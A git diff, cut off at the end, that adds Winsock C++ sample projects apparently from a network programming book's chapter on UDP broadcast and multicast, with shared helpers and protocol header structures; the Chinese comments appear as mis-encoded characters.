Communication/\347\254\2545\347\253\240/broadcast/recver/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.cpp" new file mode 100644 index 0000000..4b26e7a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.cpp" @@ -0,0 +1,42 @@ +///////////////////////////////////////////////////// +// recver.cppÎļþ + +#include "initsock.h" +#include "stdio.h" +#include + +CInitSock theSock; + +void main() +{ + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, 0); + + // Ê×ÏÈÒª°ó¶¨Ò»¸ö±¾µØµØÖ·£¬Ö¸Ã÷¹ã²¥¶Ë¿ÚºÅ + SOCKADDR_IN sin; + sin.sin_family = AF_INET; + sin.sin_addr.S_un.S_addr = INADDR_ANY; + sin.sin_port = ::ntohs(4567); + if(::bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" bind() failed \n"); + return; + } + + // ½ÓÊչ㲥 + printf(" ¿ªÊ¼ÔÚ4567¶Ë¿Ú½ÓÊչ㲥Êý¾Ý... \n\n"); + SOCKADDR_IN addrRemote; + int nLen = sizeof(addrRemote); + char sz[256]; + while(TRUE) + { + int nRet = ::recvfrom(s, sz, 256, 0, (sockaddr*)&addrRemote, &nLen); + if(nRet > 0) + { + sz[nRet] = '\0'; + printf(sz); + } + } +} + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.sln" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.sln" new file mode 100644 index 0000000..9a759ff --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "recver", "recver.vcproj", "{6AB57EEC-C584-42D9-B17A-246CF3BE31F2}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6AB57EEC-C584-42D9-B17A-246CF3BE31F2}.Debug|Win32.ActiveCfg = Debug|Win32 + {6AB57EEC-C584-42D9-B17A-246CF3BE31F2}.Debug|Win32.Build.0 = Debug|Win32 + {6AB57EEC-C584-42D9-B17A-246CF3BE31F2}.Release|Win32.ActiveCfg = Release|Win32 + {6AB57EEC-C584-42D9-B17A-246CF3BE31F2}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.suo" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.suo" new file mode 100644 index 0000000..1cd3a07 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.suo" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.vcproj" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.vcproj" new file mode 100644 index 0000000..eb6f87a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/recver/recver.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.cpp" new file mode 100644 index 0000000..5fade7f --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.cpp" @@ -0,0 +1,53 @@ +///////////////////////////////////////// +// sender.cppÎļþ + +#include "initsock.h" +#include "stdio.h" +#include + +CInitSock theSock; + +void main() +{ + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, 0); + // ÓÐЧSO_BROADCASTÑ¡Ïî + BOOL bBroadcast = TRUE; + ::setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&bBroadcast, sizeof(BOOL)); + + // ÉèÖù㲥µØÖ·£¬ÕâÀïµÄ¹ã²¥¶Ë¿ÚºÅ£¨µç̨£©ÊÇ4567 + SOCKADDR_IN bcast; + bcast.sin_family = AF_INET; + bcast.sin_addr.s_addr = INADDR_BROADCAST; // ::inet_addr("255.255.255.255"); + bcast.sin_port = htons(4567); + + // ·¢Ë͹㲥 + printf(" ¿ªÊ¼Ïò4567¶Ë¿Ú·¢Ë͹㲥Êý¾Ý... \n \n"); + char sz[] = "This is just a test. \r\n"; + while(TRUE) + { + ::sendto(s, sz, strlen(sz), 0, (sockaddr*)&bcast, sizeof(bcast)); + ::Sleep(5000); + } +} + + +/* + + ::send(s, sz, strlen(sz), 0); + + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = ntohs(3333); + addr.sin_addr.S_un.S_addr = ADDR_ANY; + + if(::bind(s, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) + { + printf(" bind() failed \n"); + return; + } + + + + + + */ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.sln" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.sln" new file mode 100644 index 0000000..09df1cd --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sender", "sender.vcproj", "{8E214230-6EF6-4E88-AF94-5170FA8BFB7A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8E214230-6EF6-4E88-AF94-5170FA8BFB7A}.Debug|Win32.ActiveCfg = Debug|Win32 + {8E214230-6EF6-4E88-AF94-5170FA8BFB7A}.Debug|Win32.Build.0 = Debug|Win32 + {8E214230-6EF6-4E88-AF94-5170FA8BFB7A}.Release|Win32.ActiveCfg = Release|Win32 + {8E214230-6EF6-4E88-AF94-5170FA8BFB7A}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.suo" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.suo" new file mode 100644 index 0000000..d45db87 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.suo" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.vcproj" "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.vcproj" new file mode 100644 index 0000000..33c68cc --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/broadcast/sender/sender.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/join/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/join/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/join.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.cpp" new file mode 100644 index 0000000..6c87ffa --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.cpp" @@ -0,0 +1,87 @@ +//////////////////////////////////// +// join.cppÎļþ + +#include "Initsock.h" + +#include +#include +#include + + + +// ³õʼ»¯Winsock¿â +CInitSock theSock; + +void main() +{ + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, 0); + + // ÔÊÐíÆäËü½ø³ÌʹÓð󶨵ĵØÖ· + BOOL bReuse = TRUE; + ::setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char*)&bReuse, sizeof(BOOL)); + + + // °ó¶¨µ½4567¶Ë¿Ú + sockaddr_in si; + si.sin_family = AF_INET; + si.sin_port = ::ntohs(4567); + si.sin_addr.S_un.S_addr = INADDR_ANY; + ::bind(s, (sockaddr*)&si, sizeof(si)); + + // ¼ÓÈë¶à²¥×é + ip_mreq mcast; + mcast.imr_interface.S_un.S_addr = INADDR_ANY; + mcast.imr_multiaddr.S_un.S_addr = ::inet_addr("234.5.6.7"); // ¶à²¥µØַΪ234.5.6.7 + ::setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char*)&mcast, sizeof(mcast)); + + + // ½ÓÊնಥ×éÊý¾Ý + printf(" ¿ªÊ¼½ÓÊնಥ×é234.5.6.7ÉϵÄÊý¾Ý... \n"); + char buf[1280]; + int nAddrLen = sizeof(si); + while(TRUE) + { + int nRet = ::recvfrom(s, buf, strlen(buf), 0, (sockaddr*)&si, &nAddrLen); + if(nRet != SOCKET_ERROR) + { + buf[nRet] = '\0'; + printf(buf); + } + else + { + int n = ::WSAGetLastError(); + break; + } + } +} + + + +/* + + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + + // ±¾µØ½Ó¿Ú + SOCKADDR_IN localif; + localif.sin_family = AF_INET; + localif.sin_port = htons(5150); + localif.sin_addr.s_addr = htonl(INADDR_ANY); + ::bind(s, (SOCKADDR *)&localif, sizeof(localif)); + + // ÉèÖÃip_mreq_source½á¹¹ + struct ip_mreq_source mreqsrc; + mreqsrc.imr_interface.s_addr = inet_addr("192.168.0.46"); + mreqsrc.imr_multiaddr.s_addr = inet_addr("234.5.6.7"); + + + // Ìí¼ÓÔ´µØÖ·218.12.255.113 + mreqsrc.imr_sourceaddr.s_addr = inet_addr("218.12.255.113"); + ::setsockopt(s, IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, (char *)&mreqsrc, sizeof(mreqsrc)); + // Ìí¼ÓÔ´µØÖ· + mreqsrc.imr_sourceaddr.s_addr = inet_addr("218.12.174.222"); + ::setsockopt(s, IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, (char *)&mreqsrc, sizeof(mreqsrc)); + + + + + */ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/join.sln" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.sln" new file mode 100644 index 0000000..9115d3d --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "join", "join.vcproj", "{AB3B280E-B33C-46D9-BED0-5EC134CF737A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {AB3B280E-B33C-46D9-BED0-5EC134CF737A}.Debug|Win32.ActiveCfg = Debug|Win32 + {AB3B280E-B33C-46D9-BED0-5EC134CF737A}.Debug|Win32.Build.0 = Debug|Win32 + {AB3B280E-B33C-46D9-BED0-5EC134CF737A}.Release|Win32.ActiveCfg = Release|Win32 + {AB3B280E-B33C-46D9-BED0-5EC134CF737A}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/join.suo" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.suo" new file mode 100644 index 0000000..7e2ba61 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.suo" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/join/join.vcproj" "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.vcproj" new file mode 100644 index 0000000..0a4dcfe --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/join/join.vcproj" @@ -0,0 +1,240 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/initsock.h" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.cpp" new file mode 100644 index 0000000..b33766c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.cpp" @@ -0,0 +1,32 @@ +/////////////////////////////////// +// sender.cppÎļþ + +#include "initsock.h" +#include "stdio.h" +#include + +CInitSock theSock; + +void main() +{ + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, 0); + // ÓÐЧSO_BROADCASTÑ¡Ïî + BOOL bBroadcast = TRUE; + ::setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&bBroadcast, sizeof(BOOL)); + + // ÉèÖù㲥µØÖ·£¬ÕâÀïµÄ¹ã²¥¶Ë¿ÚºÅ£¨µç̨£©ÊÇ4567 + SOCKADDR_IN bcast; + bcast.sin_family = AF_INET; + bcast.sin_addr.s_addr = ::inet_addr("255.255.255.255"); + bcast.sin_port = htons(4567); + + // ·¢Ë͹㲥 + char sz[] = "This is just a test. \r\n"; + while(TRUE) + { + ::sendto(s, sz, strlen(sz), 0, (sockaddr*)&bcast, sizeof(bcast)); + ::Sleep(5000); + } +} + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.sln" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.sln" new file mode 100644 index 0000000..fbd7d8e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sender", "sender.vcproj", "{802B686B-A614-4280-9EE9-0CB2D2616A79}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {802B686B-A614-4280-9EE9-0CB2D2616A79}.Debug|Win32.ActiveCfg = Debug|Win32 + {802B686B-A614-4280-9EE9-0CB2D2616A79}.Debug|Win32.Build.0 = Debug|Win32 + {802B686B-A614-4280-9EE9-0CB2D2616A79}.Release|Win32.ActiveCfg = Release|Win32 + {802B686B-A614-4280-9EE9-0CB2D2616A79}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.suo" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.suo" new file mode 100644 index 0000000..6c2d1c2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.suo" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.vcproj" "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.vcproj" new file mode 100644 index 0000000..871a561 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/muticast/sender/sender.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/timeout.exe" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/timeout.exe" new file mode 100644 index 0000000..0d28f20 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/Debug/timeout.exe" differ diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/_desktop.ini" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ 